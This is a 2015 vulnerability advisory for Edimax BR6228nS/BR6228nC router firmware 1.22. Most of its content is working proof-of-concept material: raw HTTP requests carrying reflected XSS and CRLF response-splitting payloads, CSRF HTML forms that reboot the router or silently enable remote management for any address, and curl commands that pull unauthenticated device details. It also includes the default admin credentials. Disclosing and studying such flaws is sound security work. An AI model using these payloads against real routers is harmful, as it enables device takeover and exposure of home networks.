Edimax BR6228nS/BR6228nC CSRF / XSS / HTTP Response Splitting
Posted on 04 September 2015
# Title: Edimax BR6228nS/BR6228nC - Multiple vulnerabilities # Date: 01.09.15 # Vendor: edimax.com # Firmware version: 1.22 # Author: Smash_ # Contact: smash [at] devilteam.pl Few vulnerabilities found in Edimax BR6228nS/BR6228nC router firmware. 1/ Cross Site Scripting Request: POST /goform/formWizSetup HTTP/1.1 Host: 192.168.0.10:8080 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.10:8080/main.asp Cookie: language=0 Authorization: Basic YWRtaW46MTIzNA== Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 33 setPage=x");alert("X&wizEnabled=1 Response: HTTP/1.0 200 OK Server: GoAhead-Webs <html> <body class="background" onLoad=document.location.replace("x");alert("X")></html> 2/ HTTP Response Splitting Request: POST /goform/formReflashClientTbl HTTP/1.1 Host: 192.168.0.10:8080 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.10:8080/stadhcptbl.asp Cookie: language=0 Authorization: Basic YWRtaW46MTIzNA== Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 163 submit-url=%2Fstadhcptbl.asp%0d%0aXXX%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('X')</script> Response: HTTP/1.0 302 Redirect Server: GoAhead-Webs Date: Fri Nov 16 18:08:51 2012 Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Location: http://192.168.0.10:8080/stadhcptbl.asp XXX Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html <script>alert('X')</script> 3/ Cross Site Request Forgery Examples: <html> <!-- Reboot --> <body> <form action="http://192.168.0.10:8080/goform/formReboot" method="POST"> <input type="hidden" name="reset_flag" value="0" /> <input type="hidden" name="submit-url" value="/tools.asp" /> <input type="submit" value="Go" /> </form> </body> </html> - <html> <!-- Enable remote access --> <body> <form action="http://192.168.0.10:8080/goform/formReManagementSetup" method="POST"> <input type="hidden" name="reManHostAddr" value="0.0.0.0" /> <input type="hidden" name="reManPort" value="8080" /> <input type="hidden" name="reMangEnable" value="ON" /> <input type="hidden" name="submit-url" value="/system.asp" /> <input type="hidden" name="" value="" /> <input type="submit" value="Go" /> </form> </body> </html> - <html> <!-- XSS --> <body> <form action="http://192.168.0.10:8080/goform/formWizSetup" method="POST"> <input type="hidden" name="setPage" value="x");alert("X" /> <input type="hidden" name="wizEnabled" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> 4/ Unprotected files Following url's can be requested without http authorisation in order to obtain detail informations about router: http://192.168.0.10:8080/FUNCTION_SCRIPT http://192.168.0.10:8080/main.asp Example: devil@hell:~$ curl -ig http://192.168.0.10:8080/ HTTP/1.1 401 Unauthorized Server: GoAhead-Webs Date: Fri Nov 16 18:28:39 2012 WWW-Authenticate: Basic realm="Default: admin/1234" Pragma: no-cache Cache-Control: no-cache Content-Type: text/html devil@hell:~$ curl -ig http://192.168.0.10:8080/FUNCTION_SCRIPT HTTP/1.0 200 OK Date: Fri Nov 16 18:28:47 2012 Server: GoAhead-Webs Last-modified: Fri Nov 16 09:57:30 2012 Content-length: 997 Content-type: text/html _DATE_="2012.11.16-17:51:47" _VERSION_="1.22" _MODEL_="BR6228GNS" _MODE_="EdimaxOBM" _PLATFORM_="RTL8196C_1200" _HW_LED_WPS_="4" _HW_LED_POWER_="6" _HW_LED_WIRELESS_="2" _HW_LED_USB_="17" _HW_BUTTON_RESET_="5" (...)